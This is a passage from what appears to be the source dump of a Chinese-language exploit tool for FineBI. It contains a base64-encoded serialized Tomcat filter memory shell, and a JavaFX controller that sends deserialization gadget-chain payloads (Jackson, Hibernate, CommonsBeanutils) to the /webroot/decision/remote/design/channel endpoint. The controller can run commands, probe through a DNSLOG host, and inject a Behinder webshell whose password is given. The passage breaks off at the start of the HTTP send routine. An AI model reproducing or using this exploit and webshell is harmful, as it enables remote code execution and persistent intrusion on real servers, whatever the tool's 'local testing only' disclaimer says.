zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQABYwEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEAB2hhc2hNYXABABNMamF2YS91dGlsL0hhc2hNYXA7AQAJY2x6TG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAZhQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZkZWNvZGUBAAJbQgEABGxpc2kBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBABRMamF2YS9sYW5nL0NsYXNzPCo+OwEADVN0YWNrTWFwVGFibGUHAS0HAYIBAAdkZXN0cm95AQAVZ2V0UmVxdWVzdEFuZFJlc3BvbnNlAQAHaWdub3JlZAEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEACXByb2Nlc3NvcgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAA3JlcQEABXZhbHVlAQABagEAAUkBAApwcm9jZXNzb3JzAQAQTGphdmEvdXRpbC9MaXN0OwEABnRhcmdldAEACnRocmVhZE5hbWUBAAZ0aHJlYWQBABJMamF2YS9sYW5nL1RocmVhZDsBAAFpAQAEZmxhZwEAAVoBAAd0aHJlYWRzAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcBgwcBQAcBKAcBNwEADWdldEZpZWxkVmFsdWUBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEAAWUBAAJjcwEAA29iagEACWZpZWxkTmFtZQEAAWYBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7BwFIBwEdAQANd3JpdGVSZXNwb25zZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABnJlc3VsdAEACWFkZEZpbHRlcgEACWZpbHRlck1hcAEABXZhcjI3AQAMZmlsdGVyTWFwT2JqAQAEbmFtZQEAEWZpbHRlclN0YXJ0TWV0aG9kAQAOZmluZEZpbHRlck1hcHMBAApmaWx0ZXJNYXBzAQATW0xqYXZhL2xhbmcvT2JqZWN0OwEAD3N0YW5kYXJkQ29udGV4dAEAKkxvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvU3RhbmRhcmRDb250ZXh0OwEACnN0YXRlRmllbGQBABJmaWx0ZXJSZWdpc3RyYXRpb24HAYUBAAdEeW5hbWljAQAMSW5uZXJDbGFzc2VzAQAqTGphdmF4L3NlcnZsZXQvRmlsdGVyUmVnaXN0cmF0aW9uJER5bmFtaWM7AQAOc2VydmxldENvbnRleHQBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0Q29udGV4dDsBAAZmaWx0ZXIBABZMamF2YXgvc2VydmxldC9GaWx0ZXI7AQAKZmlsdGVyTmFtZQEAA3VybAcBhgcBfwcBXAcBhQcBhwcBcQcBiAEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEADU1lbVNoZWxsLmphdmEMAIkAigEAEGU0NWUzMjlmZWI1ZDkyNWIMAIAAgQwBiQGKAQABdQcBiwwBjAGNAQADQUVTBwGODAGPAZABAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDAGRAZIMAIkBkwwAnQGUAQARamF2YS91dGlsL0hhc2hNYXAMAZUBlgwAggCDBwGDDAGXAZgMAZkBmgEAFWphdmEubGFuZy5DbGFzc0xvYWRlcgcBmwwBnAGdAQAPamF2YS9sYW5nL0NsYXNzDAGeAK4MAZ8BoAcBhwwBoQGiAQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBowGkBwGlDAGmAacMAagBqQwBqgGrAQAQamF2YS9sYW5nL09iamVjdAwBrAGtDAGuAa8MAbABsQwBsgGzAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBtAG1DADYANkMAbYBpwEABGV4ZWMMAbcBuAEABGh0dHABABJqYXZhL2xhbmcvUnVubmFibGUBAAZ0aGlzJDABAAZnbG9iYWwBAA5qYXZhL3V0aWwvTGlzdAwBuQG6DAG7AbwMAb0BvgEAB2dldE5vdGUMAb8BoAEAEWphdmEvbGFuZy9JbnRlZ2VyDACJAcABAAlnZXRIZWFkZXIBABBqYXZhL2xhbmcvU3RyaW5nDACHAIUMAIkA4wwAiACFAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQALZ2V0UmVzcG9uc2UBABJbTGphdmEvbGFuZy9DbGFzczsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAwBwQHCDAHDAb4MAbsBxAEACXRleHQvaHRtbAwBxQDjAQAFVVRGLTgMAcYA4wwBxwHIBwHJDAHKAOMMAcsAigwBzACKDAHNAc4BABJldmlsY2xhc3MvTWVtU2hlbGwMAIYAhQwAhACFBwGGDAHPAdABAAdjb250ZXh0AQAob3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL1N0YW5kYXJkQ29udGV4dAEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvdXRpbC9MaWZlY3ljbGVCYXNlAQAFc3RhdGUHAdEMAdIB0wwB1AHVDADlAdYHAdcMAdgB2QcB2gwB2wHcDAHdAd4BAAtmaWx0ZXJTdGFydAwB3wHTAQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJNYXAMAeABnQEAJG9yZy5hcGFjaGUuY2F0YWxpbmEuZGVwbG95LkZpbHRlck1hcAEADWdldEZpbHRlck5hbWUMAeEB4gEAB1N1Y2Nlc3MMAOIA4wEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQAVRmlsdGVyIGFscmVhZHkgZXhpc3RzAQACLyoBAAlGUkZpbHRlcnMBAANWaWEBAAVHRmh1YgcB4wwB5AHlAQANMTExMTExMTExMTExMQcB5gwB5wDjDADAAIoMAOUAigEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHmphdmF4L3NlcnZsZXQvU2VydmxldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvVGhyZWFkBwHoAQAoamF2YXgvc2VydmxldC9GaWx0ZXJSZWdpc3RyYXRpb24kRHluYW1pYwEAHGphdmF4L3NlcnZsZXQvU2VydmxldENvbnRleHQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABNqYXZhL2xhbmcvVGhyb3dhYmxlAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb24BAAhwdXRWYWx1ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAARUWVBFAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAlnZXRSZWFkZXIBABooKUxqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAA5nZXRUaHJlYWRHcm91cAEAGSgpTGphdmEvbGFuZy9UaHJlYWRHcm91cDsBAAdnZXROYW1lAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAARzaXplAQADKClJAQADZ2V0AQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQAEKEkpVgEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1nZXRTdXBlcmNsYXNzAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFcHJpbnQBAAVmbHVzaAEABWNsb3NlAQARZ2V0U2VydmxldENvbnRleHQBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRDb250ZXh0OwEAFWdldEZpbHRlclJlZ2lzdHJhdGlvbgEANihMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L3NlcnZsZXQvRmlsdGVyUmVnaXN0cmF0aW9uOwEAIm9yZy9hcGFjaGUvY2F0YWxpbmEvTGlmZWN5Y2xlU3RhdGUBAA1TVEFSVElOR19QUkVQAQAkTG9yZy9hcGFjaGUvY2F0YWxpbmEvTGlmZWN5Y2xlU3RhdGU7AQADc2V0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylWAQBUKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZheC9zZXJ2bGV0L0ZpbHRlcjspTGphdmF4L3NlcnZsZXQvRmlsdGVyUmVnaXN0cmF0aW9uJER5bmFtaWM7AQAcamF2YXgvc2VydmxldC9EaXNwYXRjaGVyVHlwZQEAB1JFUVVFU1QBAB5MamF2YXgvc2VydmxldC9EaXNwYXRjaGVyVHlwZTsBABFqYXZhL3V0aWwvRW51bVNldAEAAm9mAQAlKExqYXZhL2xhbmcvRW51bTspTGphdmEvdXRpbC9FbnVtU2V0OwEAGGFkZE1hcHBpbmdGb3JVcmxQYXR0ZXJucwEAKihMamF2YS91dGlsL0VudW1TZXQ7WltMamF2YS9sYW5nL1N0cmluZzspVgEAB1NUQVJURUQBAAdmb3JOYW1lAQAQZXF1YWxzSWdub3JlQ2FzZQEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAIGphdmF4L3NlcnZsZXQvRmlsdGVyUmVnaXN0cmF0aW9uACEAWgB+AAEAfwAGAAkAgACBAAAACQCCAIMAAAAJAIQAhQAAAAkAhgCFAAAACQCHAIUAAAAJAIgAhQAAAAsAAQCJAIoAAQCLAAAALwABAAEAAAAFKrcAAbEAAAACAIwAAAAGAAEAAAAdAI0AAAAMAAEAAAAFAI4AjwAAAAEAkACRAAIAiwAAAD8AAAADAAAAAbEAAAACAIwAAAAGAAEAAAAsAI0AAAAgAAMAAAABAI4AjwAAAAAAAQCSAJMAAQAAAAEAlACVAAIAlgAAAAQAAQCXAAEAkACYAAIAiwAAAEkAAAAEAAAAAbEAAAACAIwAAAAGAAEAAAAxAI0AAAAqAAQAAAABAI4AjwAAAAAAAQCSAJMAAQAAAAEAmQCaAAIAAAABAJsAnAADAJYAAAAEAAEAlwABAJ0AngACAIsAAAA1AAAAAgAAAAGxAAAAAgCMAAAABgABAAAAPgC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\";\n\n    public ComboBox Chain;\n    private HttpHost PROXY = null;\n    private String HOST = \"127.0.0.1\";\n    private int PORT = 8080;\n\n    public Menu ProxyLog;\n\n    @FXML\n    private TitledPane TP;\n\n    @FXML\n    private TextField cmd;\n\n    @FXML\n    private TextField url;\n\n    @FXML\n    private TextArea output;\n\n    // 初始化\n    @Override\n    public void initialize(URL location, ResourceBundle resources) {\n\n        this.TP.setCollapsible(false);\n        this.output.setText(\"\\n1. 本工具仅用于本地模拟环境测试, 适用于FineBI\\n\\n\" +\n                \"2. 漏洞路径: /webroot/decision/remote/design/channel\\n\\n\"+\n                \"3. 本工具支持jackson、hibernate、cb反序列化链来进行回显与注入内存马\\n\\n\"+\n                \"4. 利用DNSLOG功能时在输入命令处输入例如：blo6bz.dnslog.cn\");\n\n        ObservableList<String> chains = FXCollections.observableArrayList(new String[]{\"JacksonSignedObject\", \"Hibernate\", \"CommonsBeanutils183\"});\n        this.Chain.setItems(chains);\n    }\n\n    // 注意事项\n    public void notice(ActionEvent actionEvent) {\n        Alert alert = new Alert(Alert.AlertType.INFORMATION);\n        alert.setTitle(\"注意事项\");\n        alert.setHeaderText(null);\n        alert.setContentText(\"\\n\\n1. 本工具仅用于本地模拟环境测试, 适用于FineBI\\n\\n\" +\n                \"2. 漏洞路径: /webroot/decision/remote/design/channel\\n\\n\"+\n                \"3. 本工具支持jackson、hibernate、cb反序列化链来进行回显与注入内存马\\n\\n\"+\n                \"4. 利用DNSLOG功能时在输入命令处输入例如：blo6bz.dnslog.cn\\n\\n\");\n        alert.showAndWait();\n    }\n\n    // 检测是否为空值\n    public Boolean check(String s){\n        return !s.isEmpty();\n    }\n\n    // 检测url是否合法\n    public Boolean checkUrl(String url){\n        return url.contains(\"https://\") || url.contains(\"http://\");\n    }\n\n    public byte[] getPayload(String chain,byte[] bytes) throws Exception {\n        if (chain.equals(\"JacksonSignedObject\")){\n            return JacksonSignedObject.getPayload(bytes);\n        } else if (chain.equals(\"Hibernate\")) {\n            return Hibernate.getPayload(bytes);\n        } else if (chain.equals(\"CommonsBeanutils183\")) {\n            return CommonsBeanutils183.getPayload(bytes);\n        }\n        else {\n            this.output.setText(\"Please use JacksonSignedObject or Hibernate or CommonsBeanutils183  to ExecCommand || InjectMem \");\n            throw new Exception();\n        }\n    }\n\n\n    // DNSLOG检测\n    public void DnsLog(ActionEvent actionEvent) throws Exception {\n        if (check(this.url.getText()) && checkUrl(this.url.getText())){\n            if (check(this.cmd.getText())){\n                byte[] payload = URLDNS.getPayload(this.cmd.getText());\n\n                String res = attack.send(this.url.getText(),payload,null, this.PROXY);\n                this.output.setText(\"Check on the remote server：\"+this.cmd.getText());\n\n            }\n            else {\n                this.output.setText(\"Please Input Cmd !!!\\n\"+\n                        \"Like:  blo6bz.dnslog.cn\");\n            }\n        }\n        else {\n            this.output.setText(\"Please Input Vul Url !!!\\n\"+\n                    \"Like: http://192.168.60.128:37799/webroot/decision/remote/design/channel\");\n        }\n    }\n\n    // 执行命令\n    @FXML\n    protected void ExecCommand(ActionEvent actionEvent) throws Exception {\n        if (check(this.url.getText()) && checkUrl(this.url.getText())){\n            if (check(this.cmd.getText())){\n                byte[] bytes = Base64.getDecoder().decode(echo);\n                byte[] payload = getPayload((String) this.Chain.getValue(),bytes);\n                String res = attack.send(this.url.getText(),payload,this.cmd.getText(),this.PROXY);\n                this.output.setText(res);\n            }\n            else {\n                this.output.setText(\"Please Input Cmd !!!\");\n            }\n        }\n        else {\n            this.output.setText(\"Please Input Vul Url !!!\\n\"+\n                    \"Like: http://192.168.60.128:37799/webroot/decision/remote/design/channel\");\n        }\n\n    }\n\n\n    // 注入内存马\n    public void InjectMem(ActionEvent actionEvent) throws Exception {\n        if (check(this.url.getText()) && checkUrl(this.url.getText())){\n            byte[] bytes = Base64.getDecoder().decode(mem);\n            byte[] payload = getPayload((String) this.Chain.getValue(),bytes);\n            String res = attack.send(this.url.getText(),payload,null,this.PROXY);\n            this.output.setText(\"尝试进行连接====\\n1、注入Behinder内存马路径：/*\\n2、连接密码：rebeyond\\n3、请求头设置：moresec:wuhu\\n=========================================\\n\"+res);\n\n        }\n        else {\n            this.output.setText(\"Please Input Vul Url !!!\\n\"+\n                    \"Like: http://192.168.60.128:37799/webroot/decision/remote/design/channel\");\n        }\n    }\n\n\n    public void Proxy(ActionEvent actionEvent) {\n\n        Dialog<Pair<String, String>> dialog = new Dialog<>();\n        Window window = dialog.getDialogPane().getScene().getWindow();\n        window.setOnCloseRequest((e) -> {\n            window.hide();\n        });\n        dialog.setTitle(\"Setting Proxy\");\n        dialog.setHeaderText(null);\n\n        GridPane grid = new GridPane();\n        grid.setHgap(10);\n        grid.setVgap(20);\n        grid.setPadding(new Insets(20, 30, 10, 10));\n\n        ToggleGroup group = new ToggleGroup();\n        RadioButton enableRadio = new RadioButton(\"启用\");\n        enableRadio.setSelected(true);\n        enableRadio.setMinWidth(90.0);\n        RadioButton disableRadio = new RadioButton(\"禁用\");\n        disableRadio.setMinWidth(90.0);\n        enableRadio.setToggleGroup(group);\n        disableRadio.setToggleGroup(group);\n        HBox hbox = new HBox();\n        hbox.setSpacing(20.0);\n        hbox.getChildren().add(enableRadio);\n        hbox.getChildren().add(disableRadio);\n\n        ComboBox<String> typeCombo = new ComboBox();\n        typeCombo.setItems(FXCollections.observableArrayList(new String[]{\"HTTP\"}));\n        typeCombo.getSelectionModel().select(0);\n        typeCombo.setMinWidth(200);\n\n        TextField host = new TextField();\n        TextField port = new TextField();\n        if (HOST != null){\n            host.setText(HOST);\n            port.setText(String.valueOf(PORT));\n        }\n\n        Button cancelBtn = new Button(\"退出\");\n        cancelBtn.setMinWidth(90.0);\n        cancelBtn.setOnAction((e) -> {\n            dialog.getDialogPane().getScene().getWindow().hide();\n        });\n        Button saveBtn = new Button(\"保存\");\n        saveBtn.setMinWidth(90.0);\n        saveBtn.setOnAction((e) ->{\n            if (enableRadio.isSelected()){\n//                System.out.println(host.getText());\n                if (!(host.getText().isEmpty() || port.getText().isEmpty())){\n                    HOST = host.getText();\n                    PORT = Integer.parseInt(port.getText());\n                    if (typeCombo.getValue().equals(\"HTTP\")){\n                        HttpHost proxy = new HttpHost(HOST, PORT);\n                        this.PROXY = proxy;\n                        this.ProxyLog.setText(\"ProxyLog：Start HTTP @ /\"+HOST+\":\"+PORT+\" ...\");\n                    }\n                }\n                else {\n                    this.ProxyLog.setText(\"ProxyLog：Please Input Host and Port ...\");\n                }\n            }\n            else {\n                this.ProxyLog.setText(null);\n                HOST = null;\n                this.PROXY = null;\n            }\n            System.out.println(this.PROXY);\n\n        });\n\n        HBox hbox2 = new HBox();\n        hbox2.getChildren().add(saveBtn);\n        hbox2.getChildren().add(cancelBtn);\n        hbox2.setSpacing(20.0);\n        hbox2.setAlignment(Pos.CENTER);\n\n        grid.add(hbox,1,0);\n        grid.add(new Label(\"Type：\"), 0, 1);\n        grid.add(typeCombo,1,1);\n        grid.add(new Label(\"Host：\"), 0, 2);\n        grid.add(host, 1, 2);\n        grid.add(new Label(\"Port：\"), 0, 3);\n        grid.add(port, 1, 3);\n        grid.add(hbox2,1,4);\n\n        dialog.getDialogPane().setContent(grid);\n        dialog.showAndWait();\n    }\n\n\n}"
  },
  {
    "path": "src/main/java/com/example/frchannel/attack.java",
    "content": "package com.example.frchannel;\n\nimport org.apache.http.HttpHost;\nimport org.apache.http.HttpResponse;\nimport org.apache.http.client.HttpClient;\nimport org.apache.http.client.config.RequestConfig;\nimport org.apache.http.client.methods.HttpPost;\nimport org.apache.http.conn.ssl.NoopHostnameVerifier;\nimport org.apache.http.conn.ssl.SSLConnectionSocketFactory;\nimport org.apache.http.conn.ssl.TrustSelfSignedStrategy;\nimport org.apache.http.entity.ByteArrayEntity;\nimport org.apache.http.impl.client.HttpClients;\nimport org.apache.http.ssl.SSLContextBuilder;\nimport org.apache.http.util.EntityUtils;\n\nimport javax.net.ssl.HostnameVerifier;\nimport javax.net.ssl.SSLContext;\nimport java.util.Base64;\n\n\npublic class attack {\n\n    public attack() throws Exception {\n    }\n\n    // 发送payload\n    public static String send(String url, byte[] bytes, String cmd, HttpHost proxy) throws Exception {\n\n        HttpClient 